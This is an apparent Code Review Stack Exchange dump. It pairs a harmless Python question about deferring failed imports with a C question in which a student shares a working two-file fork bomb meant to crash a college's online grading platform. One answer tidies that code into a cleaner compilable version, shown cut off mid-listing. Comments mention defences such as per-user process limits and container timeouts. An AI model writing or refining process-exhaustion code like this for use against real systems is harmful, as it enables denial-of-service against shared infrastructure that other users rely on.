"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:46:13.197",
"Id": "222916",
"ParentId": "222869",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222916",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T14:26:57.367",
"Id": "222869",
"Score": "0",
"Tags": [
"javascript",
"algorithm",
"object-oriented"
],
"Title": "Find missing element in an array of unique elements from 0 to n"
} | 222869 |
<p>We have a program with many dependencies. Because the user may not want to use all of them, the program should skip over failed imports and only raise an error if absolutely necessary. e.g. if the user tries to <em>call</em> that class.</p>
<p>I have implemented a way of doing this but I'm not sure it is as good as it could be, it certainly seems somewhat inelegant. I presume there are also some overlooked bugs.</p>
<p>The important file structure is:</p>
<pre><code>Program:
- engines
- __init__.py
- base_engine.py
- ...
- psi4.py
- rdkit.py
- run.py
</code></pre>
<p>The <code>base_engine.py</code> contains the base class <code>Engines</code> which all the other engines (<code>PSI4</code> in <code>psi4.py</code>, <code>RDKit</code> in <code>rdkit.py</code> ... ) inherit from, as well as a <code>Default</code> class. </p>
<p>If any class fails to import, <code>Default</code> is imported instead, but with the name of the class that failed to import (see the <code>__init__.py</code> file). </p>
<p><code>base_engine.py</code>:</p>
<pre class="lang-py prettyprint-override"><code>class Engines:
"""
Engines base class containing core information that all other engines (PSI4, etc) will have.
"""
def __init__(self, molecule):
self.molecule = molecule
class Default:
"""
If there is an import error, this class replaces the class which failed to be imported.
Then, only if initialised, an import error will be raised notifying the user of a failed call.
"""
def __init__(self, *args, **kwargs):
# self.name is set when the failed-to-import class is set to Default.
raise ImportError(
f'The class {self.name} you tried to call is not importable; '
f'this is likely due to it not being installed.')
</code></pre>
<p><code>__init__.py</code>:</p>
<pre class="lang-py prettyprint-override"><code>try:
from .psi4 import PSI4
except ImportError:
from .base_engine import Default as PSI4
setattr(PSI4, 'name', 'PSI4')
try:
from .rdkit import RDKit
except ImportError:
from .base_engine import Default as RDKit
setattr(RDKit, 'name', 'RDKit')
</code></pre>
<p><code>psi4.py</code>:</p>
<pre class="lang-py prettyprint-override"><code>from Program.engines.base_engine import Engines
# Example import that would fail
import abcdefg
class PSI4(Engines):
"""
Writes and executes input files for psi4.
"""
def __init__(self, molecule):
super().__init__(molecule)
def generate_input(self):
...
</code></pre>
<p><code>run.py</code>:</p>
<pre class="lang-py prettyprint-override"><code>from Program.engines import PSI4
PSI4('example_molecule').generate_input()
</code></pre>
<p>So now when classes are imported at the top of the <code>run.py</code> file, there is no problem even if there's an import error; if there's a failed import with <code>PSI4</code> because <code>abcdefg</code> cannot be imported, <code>Default</code> is simply imported as <code>PSI4</code> and given the name <code>PSI4</code> via the <code>setattr()</code>.</p>
<p>Then, only if that <code>Default</code> class is <em>called</em> the <code>ImportError</code> is raised and the user can see that the issue was with <code>PSI4</code>.</p>
<p>This seems to work quite well, even when there are multiple failed imports. We can also add extended error messages for each different failed import. Is this the best way of doing something like this, though? It gets quite messy since we have so many files in our engines package.</p>
<p>Please let me know if some relevant code has been omitted and I can add it back. Thanks for any help.</p>
<hr>
<p>EDIT for @jpmc26:</p>
<p>I appreciate the time spent on your post but it's not practical for us. The program still fails fast (when necessary) because the imports are first initialised when configs are set. We have ~12 (large) stages of execution, each with multiple options which are handled by these configs. We handle this by reading the configs and terminal commands and calling whatever the option is e.g. <code>EngineForStageFive = PSI4</code> is set from the configs, then we just call <code>EngineForStageFive(args).do_something()</code> where <code>do_something()</code> exists for all of the stage five classes available. All of this is nicely handled by our terminal command and config file interpreters.</p>
<p>The PSI4 class for example is called many times and repeatedly calling for its import with some additional logic is not what we want in our run file. We'd end up repeating a lot of code unnecessarily. e.g. every stage would need a long <code>if</code>/<code>elif</code> chain or dictionary to determine how it would be used.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T21:38:55.637",
"Id": "431802",
"Score": "0",
"body": "How many functions other than `__init__` does an engine have? Is `generate_input` the only one?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T11:20:50.217",
"Id": "432091",
"Score": "0",
"body": "@jpmc26 It varies really. They all have at least one method other than the `init`, up to seven being the most."
}
] | [
{
"body": "<p>There is one issue with your approach which is, in the case of multiple import failure, only the last one can be properly reported:</p>\n\n<pre><code>>>> try:\n... from .foo import Foo\n... except ImportError:\n... from .base_engine import Default as Foo\n... setattr(Foo, 'name', 'Foo')\n... \n>>> try:\n... from .bar import Bar\n... except ImportError:\n... from .base_engine import Default as Bar\n... setattr(Bar, 'name', 'Bar')\n... \n>>> Bar()\nTraceback (most recent call last):\n…\nImportError: The class Bar you tried to call is not importable; this is likely due to it not being installed.\n>>> Foo()\nTraceback (most recent call last):\n…\nImportError: The class Bar you tried to call is not importable; this is likely due to it not being installed.\n</code></pre>\n\n<p>You instead want to generate a new class with the proper message each time.</p>\n\n<p>Something along the line should do:</p>\n\n<pre><code>def mock_missing(name):\n def init(self, *args, **kwargs):\n raise ImportError(\n f'The class {name} you tried to call is not importable; '\n f'this is likely due to it not being installed.')\n return type(name, (), {'__init__': init})\n</code></pre>\n\n<p>Usage being:</p>\n\n<pre><code>try:\n from .foo import Foo\nexcept ImportError:\n Foo = mock_missing('Foo')\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T15:34:52.250",
"Id": "222875",
"ParentId": "222872",
"Score": "10"
}
},
{
"body": "<p>This answer builds upon the <a href=\"https://codereview.stackexchange.com/a/222875/92478\">solution</a> presented by <a href=\"https://codereview.stackexchange.com/users/84718/\">Mathias Ettinger</a></p>\n\n<hr>\n\n<p>If you want to get rid of the <code>try: ... except: ...</code> boilerplate you could implement some kind of custom loader for your engines.</p>\n\n<p>This is something I wrote quickly, which is likely far from perfect, but it works.</p>\n\n<p>in <code>__init__.py</code>:</p>\n\n<pre><code>import importlib\n\n\ndef mock_missing(name, msg):\n def init(self, *args, **kwargs):\n raise ImportError(\n f'The class {name} you tried to call is not importable; '\n f'this is likely due to it not being installed. '\n f'Original reason: {msg}')\n return type(name, (), {'__init__': init})\n\n\ndef try_load(engine, module):\n \"\"\"Try to load an engine, return a mock class if it was not found\n\n Inspired by https://stackoverflow.com/a/10675081\n \"\"\"\n try:\n module = importlib.import_module(module, __name__)\n return getattr(module, engine)\n except (ModuleNotFoundError, AttributeError) as ex:\n return mock_missing(engine, msg=str(ex))\n</code></pre>\n\n<p>To test it:</p>\n\n<pre><code>from engines import try_load\n\nPSI4 = try_load(\"PSI4\", \".psi4\")\na = PSI4()\n\n# module does not exist\ntry:\n PSI5 = try_load(\"PSI5\", \".PSI5\")\n b = PSI5()\n raise AssertionError(\"This should have failed!\")\nexcept ImportError as ex:\n print(str(ex))\n\n# class does not exist in module\ntry:\n PSI6 = try_load(\"PSI6\", \".psi4\")\n c = PSI6()\n raise AssertionError(\"This should have failed!\")\nexcept ImportError as ex:\n print(str(ex))\n\n</code></pre>\n\n<p>This outputs:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>The class PSI5 you tried to call is not importable; this is likely due to it not being installed. Original reason: No module named 'engines.psi5'\nThe class PSI6 you tried to call is not importable; this is likely due to it not being installed. Original reason: module 'engines.psi4' has no attribute 'PSI6'\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:39:53.473",
"Id": "431689",
"Score": "0",
"body": "If I could accept two answers I would! Thanks for the help."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:45:14.000",
"Id": "431690",
"Score": "0",
"body": "No problem. Glad it helped you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T15:12:39.883",
"Id": "431766",
"Score": "0",
"body": "I would be interested to hear about the reason to downvote this answer."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:05:35.300",
"Id": "222878",
"ParentId": "222872",
"Score": "7"
}
},
{
"body": "<p>That's an odd use of the word \"default\", which, etymologically speaking, means to remove failure, and generally refers to a fallback setting that \"just works\". I suggest calling it <code>Missing</code> instead.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:34:20.967",
"Id": "431688",
"Score": "0",
"body": "Good idea, I've replaced the name."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:48:18.420",
"Id": "222882",
"ParentId": "222872",
"Score": "7"
}
},
{
"body": "<p>Whenever you find yourself trying to replace a standard language feature, the first thing you should think is,</p>\n\n<blockquote>\n <p>There's probably something I'm missing. What's the standard approach to this kind of problem?</p>\n</blockquote>\n\n<p>Your code feels inelegant because you're not using a standard approach. When your code starts to feel weird like that, it's time to take a step back and look for the standard approaches and tools for the kind of problem you're facing. Code becomes elegant when it's something you would expect to see, and you can create that expectation by adhering to the norms and paradigm of the language and tools you're using.</p>\n\n<hr>\n\n<p>In this case, the standard approach is not to import something until you're actually going to use it. In this context, that means that instead of importing all these classes into your package (<code>__init__.py</code>), let callers decide what engines they require and import them. I've run into situations where my code fails late into its execution because of a dependency that isn't properly installed; it is frustrating and wasted my time. You want your design to encourage fail fast. Having your callers explicitly import the engines from your package that they need will save them trouble.</p>\n\n<p>Example calling code:</p>\n\n<pre><code>from Program.engines.psi4 import PSI4\n\nPSI4('example_molecule').generate_input()\n</code></pre>\n\n<p>If other parts of <em>your</em> code use the engines, then let the caller inject the engine as a dependency:</p>\n\n<pre><code>class ProgramWorker(object):\n def __init__(self, engine):\n if engine is None:\n raise ValueError('engine must have a value')\n self.engine = engine\n\n def do_something(self, x, y):\n intermediate = self.engine.calculate_something(x, y)\n # do more with intermediate\n return result\n</code></pre>\n\n<p>Parameterizing the engine at initialization time like this is an example of dependency inversion, and needing to select one of several implementations is one of the few situations in Python where a more OO approach makes a lot of sense. Instead of having the class find its dependencies, you let callers inject the dependency as an argument. This gives callers greater flexibility, more control, and more transparency into the prerequisites of your code. In particular, they retain all the fail fast properties of normal imports and are given full control over what to load and what not to. Callers would use it like this:</p>\n\n<pre><code>from Program.engines.psi4 import PSI4\nfrom Program.somewhere import ProgramWorker\n\neng = PSI4('example_molecule')\nw = ProgramWorker(eng)\nw.do_something()\n</code></pre>\n\n<p>This wouldn't work if your engines don't have a common interface, but in that case, you shouldn't be using an inheritance structure. If different engines are required for different functionality, then it would be better just to split up the functionality into separate modules based on dependencies.</p>\n\n<h3><code>run.py</code> Command line</h3>\n\n<p>Assuming your <code>run.py</code> is a command line application, then you can control the engine with a command line option. Combined with the above, it would then look something like this:</p>\n\n<pre><code>import click\n\n@click.command()\n@click.options('--engine', type=click.Choice(['psi4', 'rdkit', ...])), default='psi4', help='The engine to use for computations')\ndef main(engine):\n if engine_name == 'psi4':\n from .engine.psi4 import PSI4\n eng = PSI4('example_molecule')\n elif engine_name == 'rdkit'\n from .engine.rdkit import RDKit\n eng = RDKit('example_molecule')\n elif engine_name == ...:\n ...\n else:\n raise ValueError('Unknown engine: ' + engine)\n\n eng.generate_input()\n\nif __name__ == '__main__'\n main()\n</code></pre>\n\n<p>(You don't have to use <a href=\"https://click.palletsprojects.com/en/7.x/\" rel=\"nofollow noreferrer\"><code>click</code></a>; it's just the easiest command line parser I know of.)</p>\n\n<p>Here, you can just import the engine inline because you need to delay the import until the option has been parsed. This is okay since this block of code, being the command line implementation, will necessarily execute almost immediately after being invoked.</p>\n\n<p>If you need this \"select an engine\" functionality in multiple places, you <em>could</em> encode that in your <code>engines</code> package (the <code>__init__.py</code>) as a function, but it's unlikely that you have several different scripts that need this as its main purpose is to support the command line. If you have multiple commands that use an engine, you can use a <code>click.group</code> to enable them to share these parameters and this code.</p>\n\n<hr>\n\n<h3>Naming</h3>\n\n<p>You should probably rename your modules to avoid conflicts with the names of packages you're depending on: <code>psi4engine</code> or <code>psi4_engine</code>, <code>rdkitengine</code> or <code>rdkit_engine</code></p>\n\n<p>I would also suffix your engine classes with <code>Engine</code> to avoid possible name conflicts and to increase the clarity of your code: <code>PSI4Engine</code>, <code>RDKitEngine</code>.</p>\n\n<h3>Optional dependencies</h3>\n\n<p>You might already be doing this if you're creating a package from your code, but in case you're not, you should be declaring packages like PSI4 and RDKit as <a href=\"https://setuptools.readthedocs.io/en/latest/setuptools.html#declaring-extras-optional-features-with-their-own-dependencies\" rel=\"nofollow noreferrer\">optional dependencies</a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T13:22:22.553",
"Id": "432111",
"Score": "0",
"body": "Thanks for the reply, I've edited in an explanation (too long for here) of why this wouldn't really work for us."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T16:19:40.320",
"Id": "432138",
"Score": "0",
"body": "@HoboProber See the, \"This wouldn't work if your engines don't have a common interface, but in that case, you shouldn't be using an inheritance structure. ...\" section. All of this feels like a hack around a higher level design problem; in other words, an XY problem. I'm confident there's a better way of organizing the engine and command code, though I can't say what that is without seeing it."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T16:47:52.247",
"Id": "222939",
"ParentId": "222872",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "222875",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T14:42:06.140",
"Id": "222872",
"Score": "10",
"Tags": [
"python",
"python-3.x",
"object-oriented",
"error-handling",
"dynamic-loading"
],
"Title": "Skipping over failed imports until they are needed (if ever)"
} | 222872 |
<p>I am enrolled in a first year college subject for which we have a project in C. Our projects are assessed via an online testing platform. Me and a few colleagues were intrigued as to the harm we could cause to that platform and so we talked to the teacher about it. He laughed and told us "If you manage to write a program to bring the platform down, I'll give you max credit".</p>
<p>Naive as I were, I went and created a few different versions of a fork bomb thinking I could do something to the testing system. This was my attempt, which consists of two .c files (NOTE: the testing platform compiles our C files with the command <code>gcc -Wall -Wextra -ansi -pedantic -o out *.c *.h</code>):</p>
<p>First file: <code>bomb.c</code></p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#define FORK_ERR { fprintf(stderr, "%s\n", "Error creating the damn child."); exit(1); }
#define EXEC_ERR { fprintf(stderr, "%s\n", "Error on execv call."); exit(1); }
int
main()
{
char * compile = "gcc -o oops oops.c";
char * args[] = { NULL };
int pid;
sigset_t sigset;
system(compile);
while (1) {
pid = fork();
if (pid < 0) {
FORK_ERR;
} else if (pid == 0) { /* child */
setsid();
pid = fork();
if (pid < 0) {
FORK_ERR;
} else if (pid == 0) { /* grandchild */
execv("oops", args);
EXEC_ERR;
} /*else {
exit(0);
}*/
} /*else {
exit(0);
}*/
}
exit(0);
}
</code></pre>
<p>Second file: <code>oops.c</code></p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
void handle_abrt() { printf("SIGABRT\n"); }
void handle_chld() { printf("SIGCHLD\n"); }
void handle_int() { printf("SIGINT\n"); }
void handle_stop() { printf("SIGSTOP\n"); }
void handle_term() { printf("SIGTERM\n"); }
void handle_trap() { printf("SIGTRAP\n"); }
void
signal_setup(sigset_t * sigset)
{
struct sigaction action_abrt, action_chld, action_int, action_stop, action_term, action_trap;
action_abrt.sa_handler = handle_abrt;
sigemptyset(&action_abrt.sa_mask);
sigaction(SIGABRT, &action_abrt, NULL);
action_chld.sa_handler = handle_chld;
sigemptyset(&action_chld.sa_mask);
sigaction(SIGABRT, &action_chld, NULL);
action_int.sa_handler = handle_int;
sigemptyset(&action_int.sa_mask);
sigaction(SIGABRT, &action_int, NULL);
action_stop.sa_handler = handle_stop;
sigemptyset(&action_stop.sa_mask);
sigaction(SIGABRT, &action_stop, NULL);
action_term.sa_handler = handle_term;
sigemptyset(&action_term.sa_mask);
sigaction(SIGABRT, &action_term, NULL);
action_trap.sa_handler = handle_trap;
sigemptyset(&action_trap.sa_mask);
sigaction(SIGABRT, &action_trap, NULL);
sigemptyset(sigset);
sigaddset(sigset, SIGABRT);
sigaddset(sigset, SIGCHLD);
sigaddset(sigset, SIGINT);
sigaddset(sigset, SIGSTOP);
sigaddset(sigset, SIGTERM);
sigaddset(sigset, SIGTRAP);
}
int
main()
{
int pid;
int my_pid;
sigset_t sigset;
signal_setup(&sigset);
while (1) {
pid = fork();
if (pid == 0) /* child */
while (1) {
my_pid = getpid(); /* lotta system calls :) */
printf("%d\n", my_pid);
}
}
exit(0);
}
</code></pre>
<p>Some notes:</p>
<ul>
<li><p>To state my objective more clearly, I tried to create a program that would crash a system that ran it by depleting its resources, be it processing power or memory. It <em>works</em>, but I want to attack the testing system.</p></li>
<li><p>I did see <a href="https://superuser.com/questions/566958/how-to-stop-and-detect-the-fork-bomb">this</a> regarding ways to stop a fork bomb, which suggests limiting each user's ability to create processes, and thought that using <code>setsid</code> would solve it. But now that I think of it, a process from a different process group is still created by the same user (... I think?)</p></li>
<li><p>I imagine the system runs tests on a Virtual Machine, but I did not know what to do about that.</p></li>
</ul>
<p>What are some things I could improve so that my chances to bring down the testing system I mentioned earlier are higher?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:37:05.507",
"Id": "431612",
"Score": "1",
"body": "There are also things like [Compiler Bombs](https://codegolf.stackexchange.com/q/69189)..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:42:15.637",
"Id": "431614",
"Score": "2",
"body": "In my opinion, this question skirts the boundaries of the [\"Do I want the code to be good code?\"](/help/on-topic) rule, since the goal is to be as useless and wasteful as possible."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:38:53.097",
"Id": "431630",
"Score": "2",
"body": "@200_success I disagree: A virus can be written poorly, or can be written meticulously, and the goal of the runtime effects being morally wrong or not shouldn't matter for the quality of the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:43:12.653",
"Id": "431631",
"Score": "0",
"body": "@CacahueteFrito It's not the morality that I object to, but the criteria for what constitutes \"quality\", which makes it hard to review. A virus that is as sneaky and undetectable as possible? Sure. But a program that just sucks up resources? Anything that compiles without errors and that recursively forks will do; there's not much to say."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T17:57:50.577",
"Id": "431633",
"Score": "0",
"body": "Thank you for the answers! @200_success I already know how to make a simple fork bomb. But as I mentioned in the question, I am looking for more advanced aspects of this program that I can tweak so that it works on a more robust testing system."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:20:40.810",
"Id": "431639",
"Score": "1",
"body": "For what it's worth, the last time I implemented a service like your professor's auto-grader, it was run on a Kubernetes cluster with an [automatic timeout](https://stackoverflow.com/questions/44955786/how-to-set-a-time-limit-for-a-kubernetes-job) and a modest limit on the number of processes a user could launch, so it would be fairly impervious to such an attack, especially when used in conjunction with a decent firewall. Your professor has probably done something similar."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:25:50.983",
"Id": "431642",
"Score": "0",
"body": "@Edward thank you, that was the kind of answer that I was looking for! As to the limit to the number of processes, I assume it is not possible to overcome that limitation without sudo permissions?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:37:14.550",
"Id": "431645",
"Score": "1",
"body": "That's correct. In most Linux distros, it's set in `limits.conf` using `nproc`. One can also use `nofile` to limit the number of files. With reasonable limits and a short timeout (I used 16 seconds) any runaway container would simply be terminated and respawned, so even if you were to acquire `sudo` privileges on the container, the maximum time that could affect anything would be 16 seconds."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T22:07:09.517",
"Id": "431651",
"Score": "1",
"body": "You shouldn't compile .h files."
}
] | [
{
"body": "<p><strong>- Headers</strong></p>\n\n<p>You are making use of POSIX types and functions (<code>sigset_t</code> and <code>fork()</code> for example).</p>\n\n<p>You should read the manuals for every function or type you use to know what you need in order to use them properly).</p>\n\n<p>The man page of <code>fork()</code> (<code>man fork</code>) says that you need to include two headers to be able to use this function, and you forgot one of them:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#include <sys/types.h>\n#include <unistd.h>\n</code></pre>\n\n<hr>\n\n<p><strong>- POSIX</strong></p>\n\n<p>Even if you include the POSIX headers, you need to define the posix macro so that you can use the POSIX features. GCC (and many other compilers) used to define it for you, but recent versions of GCC don't (at least on my system), so either you define it in the source code (above any headers) or in the Makefile:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define _POSIX_C_SOURCE (200809L)\n</code></pre>\n\n<p>or</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>CFLAGS += -D _POSIX_C_SOURCE=200809L\n</code></pre>\n\n<hr>\n\n<p><strong>- Function-like macros:</strong></p>\n\n<p>Macros that act like function calls (contrary to the typical macros that evaluate to a constant like <code>#define FOO (1)</code>) should be used by the user like any other function (the user shouldn't care about something being a macro or a function (if possible, macros should even avoid double evaluation of parameters).</p>\n\n<p>This function:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>void foo(void)\n{\n /* contents */\n}\n</code></pre>\n\n<p>written as a macro should be written this way, so that the user never notices that it is a macro (usually, function-like macros even have lowercase names to look like functions):</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define foo() do \\\n{ \\\n /* contents */ \\\n} while (0)\n</code></pre>\n\n<hr>\n\n<p><strong>- Macros that affect control flow (use <code>goto</code> instead!)</strong> (copied from the <a href=\"https://www.kernel.org/doc/html/v4.10/process/coding-style.html#macros-enums-and-rtl\" rel=\"nofollow noreferrer\">Linux Kernel Coding Style</a>)</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define FOO(x) do \\\n{ \\\n \\\n if (blah(x) < 0) \\\n return -EBUGGERED; \\\n} while (0)\n</code></pre>\n\n<p>is a very bad idea. It looks like a function call but exits the calling function; don’t break the internal parsers of those who will read the code.</p>\n\n<hr>\n\n<p><strong>- errno</strong></p>\n\n<p>When reporting an error of a standard library function, if that function sets <code>errno</code>, you should also report the value of <code>errno</code>, which can be very helpful.</p>\n\n<p>A simple call to <code>perror(...)</code> instead of <code>fprintf(stderr, ...)</code> is enough, although I prefer to show more info, and have developed a function-like macro for that (It works similarly to <code>void perror(const char *str)</code>):</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#include <errno.h>\n#include <stdio.h>\n#include <string.h>\n\n#define alx_perror(str) do \\\n{ \\\n char *str_ = str; \\\n \\\n fprintf(stderr, \"%s:%i: %s():\\n\", __FILE__, __LINE__, __func__);\\\n if (str_) \\\n fprintf(stderr, \" %s\\n\", str_); \\\n fprintf(stderr, \"E%i - %s\\n\", errno, strerror(errno)); \\\n} while (0)\n</code></pre>\n\n<hr>\n\n<p><strong>- 80 character lines</strong></p>\n\n<p>Please, don't use lines longer than 80 characters (there are exceptions; for example, don't break string literals). It's very hard to read long lines. The number 80 comes from the usual size of terminals, but it's still valid in modern editors: usually a splitted screen (or a StackExchange code block) shows around 85~90 characters, so if you write more, you have to scroll to the right to read it, which isn't very comfortable.</p>\n\n<hr>\n\n<p><strong>- main</strong></p>\n\n<p>The only two standard forms of <code>main</code> are:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>int main(void)\nint main(int argc, char *argv[])\n</code></pre>\n\n<p>You should use one of those.</p>\n\n<hr>\n\n<p><strong>- types</strong></p>\n\n<p>Use the most appropriate types for the variables.</p>\n\n<p><code>pid</code> should be <code>pid_t pid;</code> instead of <code>int pid;</code></p>\n\n<hr>\n\n<p><strong>- Check error codes of standard library functions</strong></p>\n\n<p>Standard library functions that return an error code do it for a good reason. Check that error code.</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>int status;\n\nstatus = system(compile);\nif (status)\n goto err_compile;\n</code></pre>\n\n<p>if you want to handle the status to know what failed, or if not, just:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>if (system(compile))\n exit(EXIT_FAILURE);\n</code></pre>\n\n<hr>\n\n<p><strong>- return or exit()</strong></p>\n\n<p>At the end of main, you should use <code>return 0;</code>. Although the behavior of <code>exit(0);</code> is the same, it is weird to read, and I had to check the name of the function to know if I'm in <code>main</code> or in another function, because I'm (and everyone else) used to read <code>return 0;</code> at the end of main. It is more or less a non-written convention. Everywhere else, do what you prefer, but not at the end of main.</p>\n\n<hr>\n\n<p><strong>- EXIT_FAILURE</strong></p>\n\n<p><code>exit()</code> should be used with the macros <code>EXIT_SUCCESS</code> and <code>EXIT_FAILURE</code> instead of numbers, unless you want a specific exit failure code:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>exit(EXIT_FAILURE);\n</code></pre>\n\n<hr>\n\n<p><strong>- void</strong></p>\n\n<p>Functions that don't accept parameters should be defined as <code>type foo(void)</code> and not <code>type foo()</code>. Empty parentheses have different meaning in prototypes and definitions of functions, so it's better to avoid them, and use <code>(void)</code>.</p>\n\n<hr>\n\n<p><strong>- unused variable</strong></p>\n\n<p><code>sigset</code> (in bomb.c) is not used, so remove it.</p>\n\n<hr>\n\n<p><strong>- Unnecessary else</strong> (From Linux <a href=\"https://github.com/torvalds/linux/blob/master/scripts/checkpatch.pl\" rel=\"nofollow noreferrer\">checkpatch.pl</a>)</p>\n\n<p>\"<code>else</code> is not generally useful after a break or return.\"</p>\n\n<p>I add to that sentence a <code>continue</code>, <code>goto</code> or <code>exit()</code>.</p>\n\n<p>Example:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>if (x)\n exit(EXIT_FAILURE);\nelse\n printf(\"Hello world!\\n\");\n</code></pre>\n\n<p>is equivalent to this, which is easier to read:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>if (x)\n exit(EXIT_FAILURE);\nprintf(\"Hello world!\\n\");\n</code></pre>\n\n<hr>\n\n<p><strong>- Explicitly discard return error codes</strong></p>\n\n<p>If you don't care about the error code returned by a function, you should explicitly cast it to <code>(void)</code> so that it is clear that you don't care about it, and you didn't forget about it.</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>(void)setsid();\n</code></pre>\n\n<hr>\n\n<p><strong>- Variables as short lived as possible</strong></p>\n\n<p>Variables should live as short as possible.</p>\n\n<p>In oops.c, the function <code>signal_setup()</code> asks for a parameter, but it is not needed. You could replace it with a local variable.</p>\n\n<hr>\n\n<p>Fixed code:</p>\n\n<p><code>bomb.c</code>:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define _POSIX_C_SOURCE (200809L)\n\n#include <errno.h>\n#include <signal.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <sys/types.h>\n#include <unistd.h>\n\n\n#define alx_perror(str) do \\\n{ \\\n char *str_ = str; \\\n \\\n fprintf(stderr, \"%s:%i: %s():\\n\", __FILE__, __LINE__, __func__);\\\n if (str_) \\\n fprintf(stderr, \" %s\\n\", str_); \\\n fprintf(stderr, \"E%i - %s\\n\", errno, strerror(errno)); \\\n} while (0)\n\n\nint main(void)\n{\n char *compile = \"gcc -o oops oops.c\";\n char *args[] = {NULL};\n pid_t pid;\n int status;\n char str[BUFSIZ];\n\n status = system(compile);\n if (status)\n goto err_sys;\n\n while (true) {\n pid = fork();\n if (pid < 0)\n goto err_fork;\n if (pid > 0)\n continue;\n\n /* child */\n (void)setsid();\n pid = fork();\n if (pid < 0)\n goto err_fork;\n if (!pid) { /* grandchild */\n if (execv(\"oops\", args))\n goto err_execv;\n }\n }\n\n return 0;\n\nerr_execv:\n alx_perror(\"Error on execv call.\");\n exit(EXIT_FAILURE);\nerr_fork:\n alx_perror(\"Error creating the damn child.\");\n exit(EXIT_FAILURE);\nerr_sys:\n (void)snprintf(str, sizeof(str), \"Error compiling: status = %i;\", status);\n alx_perror(str);\n exit(EXIT_FAILURE);\n}\n</code></pre>\n\n<p><code>oops.c</code>:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define _POSIX_C_SOURCE (200809L)\n\n#include <signal.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <fcntl.h>\n#include <sys/types.h>\n#include <unistd.h>\n\n\nvoid handle_abrt(void);\nvoid handle_chld(void);\nvoid handle_int(void);\nvoid handle_stop(void);\nvoid handle_term(void);\nvoid handle_trap(void);\nvoid signal_setup(void);\n\n\nint main(void)\n{\n pid_t pid;\n pid_t my_pid;\n\n signal_setup();\n\n while (true) {\n pid = fork();\n if (pid)\n continue;\n\n /* child */\n while (true) {\n my_pid = getpid(); /* lotta system calls :) */\n printf(\"%d\\n\", my_pid);\n }\n }\n\n return 0;\n}\n\n\nvoid handle_abrt(void)\n{\n\n //\n}\n\nvoid handle_chld(void)\n{\n\n //\n}\n\nvoid handle_int(void)\n{\n\n //\n}\n\nvoid handle_stop(void)\n{\n\n //\n}\n\nvoid handle_term(void)\n{\n\n //\n}\n\nvoid handle_trap(void)\n{\n\n //\n}\n\nvoid signal_setup(void)\n{\n sigset_t sigset;\n struct sigaction action_abrt;\n struct sigaction action_chld;\n struct sigaction action_int;\n struct sigaction action_stop;\n struct sigaction action_term;\n struct sigaction action_trap;\n\n action_abrt.sa_handler = handle_abrt;\n (void)sigemptyset(&action_abrt.sa_mask);\n (void)sigaction(SIGABRT, &action_abrt, NULL);\n\n action_chld.sa_handler = handle_chld;\n (void)sigemptyset(&action_chld.sa_mask);\n (void)sigaction(SIGABRT, &action_chld, NULL);\n\n action_int.sa_handler = handle_int;\n 